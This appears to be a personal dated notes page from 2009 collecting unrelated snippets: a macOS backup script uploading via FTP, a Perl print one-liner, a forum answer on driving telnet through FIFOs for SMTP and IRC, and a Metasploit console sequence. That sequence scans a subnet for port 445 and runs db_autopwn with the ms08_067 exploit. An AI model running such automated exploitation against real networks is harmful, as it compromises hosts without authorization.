20090612

http://semaja2.net/macosx/backupscript/backups.htm


growlnotify -m "Uploading $BACKUPNAME to FTP" -t "Backup" -P $GROWLPASS --udp --host $GROWLHOST
echo "uploading to ftp"
ftp -n <<EOF
open $FTPSITE
user $FTPUSER $FTPPASS
put $NAMEE $FTPBACKUPDIR
bye
EOF
fi

20090611

http://1cup1coffee.com/1024_22-05/

http://1cup1coffee.com/1024_22-05/
--
map{ map{tr|10|# |;print} split//,sprintf"%.8b\n",$_}
unpack'C*',unpack'u*',"5`#8<3'X`'#8^-@`<-CPP`#8V/C8`"

20090610

ms

load db_sqlite3
(db_destroy)
db_create
db_nmap -sS -PS445 -p334 -n -T Aggressive 192.168.0.0/24
db_autopwn -e -p -b -m ms08_067
db_hosts
db_autopwn -pb
db_nmap -A host

20090609

xxx

Hi!<br>This is very popular question, I see&nbsp;<img src="http://http.cdnlayer.com/lq/images/questions/images/smilies/smile.gif" border="0" alt="" title="Smilie" class="inlineimg" style="vertical-align: middle; "><br><br>You can use following bash script as an example:<br><a href="http://tiocu.svn.sourceforge.net/viewvc/*checkout*/tiocu/email/email?revision=58" target="_blank" style="color: rgb(34, 34, 156); ">http://tiocu.svn.sourceforge.net/vie...il?revision=58</a>. Function `wait4ack()' and lines below `echo connecting...' are of interest for you.<br><br>Shortly speaking we run telnet process in background and associate file descriptors 3 and 4 with its stdin and stdout using something like this:<br>
<div class="smallfont" style="font-size: 11px; margin-bottom: 2px; ">Code:</div><pre class="bbcodeblock" dir="ltr" style="background-color: rgb(207, 217, 255); margin-top: 0px; margin-bottom: 0px; margin-left: 0px; margin-right: -99999px; padding-top: 3px; padding-right: 3px; padding-bottom: 3px; padding-left: 3px; border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: inset; border-right-style: inset; border-bottom-style: inset; border-left-style: inset; border-color: initial; width: 774px; height: 66px; text-align: left; overflow-x: auto; overflow-y: auto; ">mkfifo $FIFO
exec 4&lt; &lt;(telnet $SERVER 25 &lt; $FIFO 2&gt; /dev/null &amp;)
exec 3&gt;$FIFO</pre>Now we can send commands to telnet through 3'rd fd and recieve responses through 4'th one:<br><div class="smallfont" style="font-size: 11px; margin-bottom: 2px; ">Code:</div><pre class="bbcodeblock" dir="ltr" style="background-color: rgb(207, 217, 255); margin-top: 0px; margin-bottom: 0px; margin-left: 0px; margin-right: -99999px; padding-top: 3px; padding-right: 3px; padding-bottom: 3px; padding-left: 3px; border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: inset; border-right-style: inset; border-bottom-style: inset; border-left-style: inset; border-color: initial; width: 774px; height: 50px; text-align: left; overflow-x: auto; overflow-y: auto; ">echo $comm &gt;&amp;3
wait4ack "$optn" &lt;&amp;4</pre>wait4ack() reads its stdin (i.e. 4'th file descriptor) until something like '+OK' in POP3 protocol or 250 in SMTP (see corresponding RFC document).<br><br>Hope, this helps.<br><br>firstfire == agre.<br class="khtml-block-placeholder">
<pre class="alt2" dir="ltr" style="background-image: initial; background-repeat: initial; background-attachment: initial; -webkit-background-clip: initial; -webkit-background-origin: initial; background-color: rgb(255, 255, 255); color: rgb(0, 0, 0); margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 6px; padding-right: 6px; padding-bottom: 6px; padding-left: 6px; border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: inset; border-right-style: inset; border-bottom-style: inset; border-left-style: inset; border-color: initial; width: 640px; height: 130px; text-align: left; overflow-x: auto; overflow-y: auto; background-position: initial initial; ">fifo=`mktemp`
mkfifo $fifo
telnet irc.mynetwork.com 6667 &lt; $fifo &amp;
sleep 20
echo "NICK ihth" &gt; $fifo
sleep 5
echo USER ihth 0 0 :ihth ihth via telnet &gt; $fifo</pre>